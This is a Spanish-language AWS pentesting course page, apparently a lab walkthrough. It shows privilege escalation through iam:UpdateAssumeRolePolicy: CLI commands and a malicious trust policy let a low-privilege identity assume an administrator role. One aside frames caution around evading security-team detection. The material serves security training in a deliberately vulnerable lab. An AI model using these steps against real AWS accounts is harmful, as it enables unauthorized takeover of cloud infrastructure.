# UpdateAssumeRolePolicy

{% hint style="danger" %}
¿Crees tener lo que se necesita para ser un experto en Pentesting contra AWS? Si nuestro libro te abrió los ojos a las posibilidades de la ciberseguridad ofensiva o si ya cuentas con habilidades en este campo, es momento de subir de nivel. Te retamos a certificarte en el [CPNA - Curso Profesional de Pentesting Contra AWS](https://spartan-cybersec.com/cursos/pentesting-contra-la-nube-de-aws/). No será fácil: te enfrentarás a un examen riguroso de 12 horas donde deberás hackear una infraestructura completa alojada en AWS. ¿Listo para el desafío? Acepta el reto y demuestra tu verdadero potencial.
{% endhint %}

{% hint style="warning" %}
Este laboratorio no se encuentra actualmente disponible en el CPNA.

Puedes practicar esta tecnica desplegando el ambiente en tu propia cuenta de AWS.

<https://github.com/BishopFox/iam-vulnerable>
{% endhint %}

Un atacante con los permisos `iam:UpdateAssumeRolePolicy` y `sts:AssumeRole` podría cambiar el documento de política de asumir rol de cualquier rol existente para permitirle asumir ese rol.

Luego del despliegue del laboratorio de IAM-Vulnerable, nos vamos a encontrar el siguiente usuario:

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2F6cFCXi6YYp498I7fzM5R%2Fimage.png?alt=media&#x26;token=d58ab4c2-da00-4eb9-ab15-9504ced6e45c" alt=""><figcaption></figcaption></figure>

Este usuario tiene la siguiente política:

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FkOCBbKn8qVuD5ETmc5y6%2Fimage.png?alt=media&#x26;token=043cd7fb-6166-4000-aebd-997f30aadd6d" alt=""><figcaption></figcaption></figure>

Este usuario tiene el siguiente rol:

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2Fr3QLgzODuKmq0epnwXxA%2Fimage.png?alt=media&#x26;token=0c87fa38-4995-4397-a168-38c5703a59c2" alt=""><figcaption></figcaption></figure>

Otra manera de validar lo anterior, es por medio del siguiente comando ya explicado:

Listando las políticas del usuario que será auditado:

{% code overflow="wrap" %}

```
aws iam list-attached-user-policies --user-name privesc14-UpdatingAssumeRolePolicy-user
```

{% endcode %}

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FK2m3L4gBNJKjDdwFas52%2Fimage.png?alt=media&#x26;token=d27d37f3-0a64-4a76-a18e-27f8f774c61f" alt=""><figcaption></figcaption></figure>

Obteniendo información relevante para nuestra auditoria utilizando el ARN de la política del usuario auditado:

{% code overflow="wrap" %}

```
aws iam get-policy-version --policy-arn arn:aws:iam::651927172911:policy/privesc14-UpdatingAssumeRolePolicy --version-id v1
```

{% endcode %}

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2F1NEz3hqkNZuj9nm5sO8N%2Fimage.png?alt=media&#x26;token=71c0338c-2329-4031-8836-48541e32e64b" alt=""><figcaption></figcaption></figure>

Ahora con nuestro usuario administrador, vamos a generar unas credenciales con STS sobre dicho usuario.

{% code overflow="wrap" %}

```
aws sts assume-role --role-arn arn:aws:iam::651927172911:role/privesc14-UpdatingAssumeRolePolicy-role --role-session-name privesc14
```

{% endcode %}

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FwFw5FoKguaDh7fMpTCMF%2Fimage.png?alt=media&#x26;token=313b5435-50c0-4815-857e-6ad00b568740" alt=""><figcaption></figcaption></figure>

{% hint style="danger" %}
A partir de este momento, estaremos trabajando con el usuario <mark style="color:red;">**privesc14-UpdatingAssumeRolePolicy-user**</mark>.

Todos los comandos posteriores deben tener especificado el `--profile` con su respectivo nombre de perfil.
{% endhint %}

Por lo anterior, tenemos que autenticarnos en AWSCLI y validar con el comando del [el-whoami-de-aws](https://books.spartan-cybersec.com/cpna/introduccion-a-aws/el-whoami-de-aws "mention")

Primero nos autenticamos:

```
aws configure --profile privesc14
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2F3SQG3QbGlgYdJn6zAJJO%2Fimage.png?alt=media&#x26;token=e574c200-0b82-4e98-a12c-d46773a12c39" alt=""><figcaption></figcaption></figure>

{% hint style="warning" %}
El token se especificará dentro del archivo plano de credenciales.
{% endhint %}

Y luego validamos con el whoami de AWS:

```
aws sts get-caller-identity --profile privesc14
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FxbpGNk2KVArtpboKfOwM%2Fimage.png?alt=media&#x26;token=12db91de-7f3e-4ef6-9e0d-7f8c9a9adcfb" alt=""><figcaption></figcaption></figure>

Si intentamos agregarnos al grupo de administradores, vamos a obtener un error de permisos:

{% hint style="info" %}
El siguiente comando se ejecuta dentro de un entorno de laboratorio controlado específicamente diseñado para prácticas de seguridad ofensiva. Su propósito es validar si tenemos los permisos necesarios para realizar operaciones administrativas. Es importante destacar que, aunque este método es efectivo en un ambiente controlado, su aplicación en un entorno real no es recomendable. En escenarios de producción, este tipo de acciones pueden ser fácilmente detectadas por sistemas de monitoreo, aumentando el riesgo de ser identificado por los equipos de seguridad.
{% endhint %}

{% code overflow="wrap" %}

```
aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privesc14-UpdatingAssumeRolePolicy-user --profile privesc14
```

{% endcode %}

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FlFhv9GtL1vCCPMuBRHhG%2Fimage.png?alt=media&#x26;token=c76d87d3-3094-4184-8469-edf60b3baf85" alt=""><figcaption></figcaption></figure>

En este escenario, inicialmente tenemos que crear un documento de política que permite el permiso `sts:AssumeRole` sobre nuestro ARN de usuario atacante:

{% code title="assumerolepolicy.json" %}

```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:sts::651927172911:assumed-role/privesc14-UpdatingAssumeRolePolicy-role/privesc14"
      },
      "Action": "sts:AssumeRole",
      "Condition": {}
    }
  ]
}
```

{% endcode %}

Y posteriormente, tenemos que actualizar o modificar la política para un rol administrativo; con el objetivo de que nuestro usuario pueda asumir dicho rol:

{% code overflow="wrap" %}

```
aws iam update-assume-role-policy --role-name Rol-Administrator-Spartan --policy-document file://assumerolepolicy.json --profile privesc14
```

{% endcode %}

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FrQP8EH2OBsNZT2baNyar%2Fimage.png?alt=media&#x26;token=5d6ba135-46b6-4456-9024-e8996c821190" alt=""><figcaption></figcaption></figure>

{% hint style="warning" %}
Es importante resaltar, que el ARN que se encuentra en nuestra política maliciosa debe ser el valor resultante del comando `aws sts get-caller-identity`

En este caso nuestra ARN corresponde al de un rol asumido pero en otras ocasiones podria ser el ARN de un usuario.
{% endhint %}

Si analizamos este rol administrativo antes de la modificación, se visualizaba de la siguiente manera:

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2Fpvd5zLWMpLkkVIehntGD%2Fimage.png?alt=media&#x26;token=1ad4d079-8b71-42d2-a4d2-73fe5cb2ae05" alt=""><figcaption></figcaption></figure>

Y si consultamos los permisos del dicho rol, lograremos validar que efectivamente este rol tiene privilegios administrativos.

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FQ8fYCHvqWRDDXxTx26pd%2Fimage.png?alt=media&#x26;token=46bd0d3d-dd24-47a6-935b-f8db39dd7111" alt=""><figcaption></figcaption></figure>

Ahora simplemente tenemos que asumir el rol administrativo de la siguiente manera, por medio de nuestro perfil actual:

{% code overflow="wrap" %}

```
aws sts assume-role --role-arn arn:aws:iam::651927172911:role/Rol-Administrator-Spartan --role-session-name privesc14admin --profile privesc14
```

{% endcode %}

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FxHTrsSOTA8OhqtJRzTpc%2Fimage.png?alt=media&#x26;token=a2bfa07c-03f5-4c76-a646-7b6f970a9a62" alt=""><figcaption></figcaption></figure>

Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando `aws sts get-caller-identity`.

```
aws configure --profile privesc14admin
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FYAmRWoy4HEQL2tDOdmKx%2Fimage.png?alt=media&#x26;token=289c2e6e-5cca-4428-8bed-31d4ebd6b05d" alt=""><figcaption></figcaption></figure>

El token se especificará dentro del archivo plano de credenciales.

Finalmente, hemos comprometido exitosamente un rol administrativo por medio de la técnica previamente explicada.